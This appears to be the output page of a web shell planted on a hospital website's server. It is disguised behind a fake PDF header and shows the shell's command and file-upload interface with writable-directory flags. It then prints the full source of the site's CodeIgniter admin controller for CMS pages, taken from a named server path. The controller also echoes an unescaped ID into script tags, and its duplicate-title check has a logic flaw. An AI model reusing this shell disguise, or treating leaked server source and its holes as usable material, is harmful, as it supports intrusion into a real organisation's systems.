%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/admin/CMS_Page.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class CMS_Page extends CI_Controller {

	/**
	 * Index Page for this controller.
	 *
	 * Maps to the following URL
	 * 		http://example.com/index.php/welcome
	 *	- or -
	 * 		http://example.com/index.php/welcome/index
	 *	- or -
	 * Since this controller is set as the default controller in
	 * config/routes.php, it's displayed at http://example.com/
	 *
	 * So any other public methods not prefixed with an underscore will
	 * map to /index.php/welcome/<method_name>
	 * @see https://codeigniter.com/user_guide/general/urls.html
	 */
	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/CMS_Page/view_cms_pages";
        	
        	redirect(base_url().'admin/login');
        }
	//	redirect_admin_not_logged();
        $this->load->model('cms_model', 'cms');

    }
	
	public function index()
	{
		$this->view_cms_pages();
	//	$this->load->view('admin/ViewDoctors');
	}
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = 'jpeg|jpg|png|JPEG|JPG|PNG';
		$config['max_size']     = '100';
		$config['max_width'] = '1024';
		$config['max_height'] = '768';
		if($file_name!=''){
			$config['file_name'] = $file_name;
		}
		
		$this->upload->initialize($config);
		
		if ( ! $this->upload->do_upload($field_name))
		{
			$error = array('error' => $this->upload->display_errors());

	//		$this->load->view('upload_form', $error);
			
			return 0;
		}
		else
		{
			$data = array('upload_data' => $this->upload->data());

			return $this->upload->data('file_name');	
			
		}

	}
	
	public function add_cms_page($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		$CMSPageID = $id;
		
		
		if($id){
		
			$records = $this->cms->get_cms_page($id);
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'CMSPageID' => $records['CMSPageID'],
					'CMSPageTitle' => $records['CMSPageTitle'],
					'CMSPageContent' => $records['CMSPageContent'],
					'CMSPageThumbnail' => $records['CMSPageThumbnail'],
					'CMSPageIcon' => $records['CMSPageIcon'],
					'CMSPageBanner' => $records['CMSPageBanner'],										
					'CMSPageURL' => $records['CMSPageURL'],
					'CMSPageExcerpt' => $records['CMSPageExcerpt'], 					
					'CMSPagePriorityOrder' => $records['CMSPagePriorityOrder'],
					'Status' => $records['Status']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
			
			$this->load->helper('security');
			
			$this->form_validation->set_rules('CMSPageTitle', 'CMS Page Title', 'required|xss_clean');
			$this->form_validation->set_rules('CMSPageContent', 'CMS Page Content', 'trim|required|xss_clean');
			$this->form_validation->set_rules('CMSPageExcerpt', 'CMS Page Excerpt', 'trim|xss_clean');
			$this->form_validation->set_rules('CMSPageURL', 'CMS Page Slug', 'required|xss_clean');
			

			
			if($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating CMS Page")</script>'; 
            		//print_r($_POST);
					
  		            $this->load->view('admin/AddCMSPage');
            }
			else
			{
				
				$cms_thumbnail ='';
				$cms_icon = '';
				$cms_banner = '';
				if($_FILES['cms_thumbnail']['name']){
					$cms_thumbnail = $this->do_upload('cms_thumbnail', './uploads/cms', 'cms_thumb_'.$post['CMSPageURL']);
					echo '<script>console.log("cms_thumbnail")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['cms_icon']['name']){
					$cms_icon = $this->do_upload('cms_icon', './uploads/cms', 'cms_icon_'.$post['CMSPageURL']);
					echo '<script>console.log("cms_icon")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['cms_banner']['name']){
					$cms_banner = $this->do_upload('cms_banner', './uploads/cms', 'cms_bn_'.$post['CMSPageURL']);
					echo '<script>console.log("cms_banner")</script>'; 
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				
				if(($_FILES['cms_thumbnail']['name'])&&(!$cms_thumbnail)){
					echo '<script>console.log("error uploading cms thumbnail")</script>';
					$this->load->view('admin/AddCMSPage');
				}
				else if(($_FILES['cms_icon']['name'])&&(!$cms_icon)){
					echo '<script>console.log("error uploading cms icon")</script>';
					$this->load->view('admin/AddCMSPage');
				}
				else if(($_FILES['cms_banner']['name'])&&(!$cms_banner)){
					echo '<script>console.log("error uploading cms banner")</script>';
					$this->load->view('admin/AddCMSPage');
				}
				else{
					if(isset($post['CMSPageID'])){
						$CMSPageID = $post['CMSPageID'];
					}
				
					echo '<script>console.log("uploading CMS")</script>';
					
					$insert_data = array(						
						'CMSPageTitle' =>  $post['CMSPageTitle'],
						'CMSPageContent' =>  $post['CMSPageContent'],														
						'CMSPageURL' =>  $post['CMSPageURL'], 		
						'CMSPageExcerpt' => $post['CMSPageExcerpt'], 				
						'CMSPagePriorityOrder' =>  $post['CMSPagePriorityOrder'],
						'Status' =>  $post['Status']
					);
					
					if($cms_thumbnail!=''){
						$insert_data['CMSPageThumbnail'] = $cms_thumbnail;
					}
					
					if($cms_icon!=''){
						$insert_data['CMSPageIcon'] = $cms_icon;
					}
					
					if($cms_banner!=''){
						$insert_data['CMSPageBanner'] = $cms_banner;
					}
				
					$success = '';	
					echo '<script>console.log("'.$CMSPageID.'")</script>';
					if($CMSPageID){
						$success = $this->cms->update_cms_page($insert_data,$CMSPageID);
					}
					else{
						if((!($this->cms->cms_page_title_exists($post['CMSPageTitle'])))||(!($this->cms->cms_page_slug_exists($post['CMSPageURL'])))){
							$success = $this->cms->insert_cms_page($insert_data);
						}
						else{
							$data['msg'] = 'CMS Page could not be created. Duplicate Title or Slug';
						}
					}	
				
					if($success){
						echo '<script>console.log("success:  '.$success.'")</script>';
						redirect(base_url()."admin/CMS_Page/view_cms_pages");

					};
				}
			}
       			
		}

		
		$this->load->view('admin/AddCMSPage',$data);
	}
	
	public function view_cms_page($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		
		if($id){
		
			$records = $this->cms->get_cms_page($id);
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'CMSPageID' => $records['CMSPageID'],
					'CMSPageTitle' => $records['CMSPageTitle'],
					'CMSPageContent' => $records['CMSPageContent'],
					'CMSPageThumbnail' => $records['CMSPageThumbnail'],
					'CMSPageIcon' => $records['CMSPageIcon'],
					'CMSPageBanner' => $records['CMSPageBanner'],										
					'CMSPageURL' => $records['CMSPageURL'], 					
					'CMSPagePriorityOrder' => $records['CMSPagePriorityOrder'],
					'Status' => $records['Status']
				); 
				
			}

		}
		
		
		
		$this->load->view('admin/ViewCMSPage',$data);
	}
	
	public function update_cms_page($id){
	
		$this->add_cms_page($id);
	}
	
	
	public function view_cms_pages()
	{
		
		$data = array();
		$data['records'] = $this->cms->get_all_cms_page();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewCMSPages',$data);
	}
	
	
	
	public function remove_cms_page($id)
	{
		
		$data = array();
		
		
		if($this->cms->delete_cms_page($id)){
			$data['msg'] = 'CMS Page deleted succesfully';
		}
		else{
			$data['msg'] = 'CMS Page could not be deleted';
		}		
		
		$data['records'] = $this->cms->get_all_cms_page();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewCMSPages',$data);
	}
	
	
}

Kontol Shell Bypass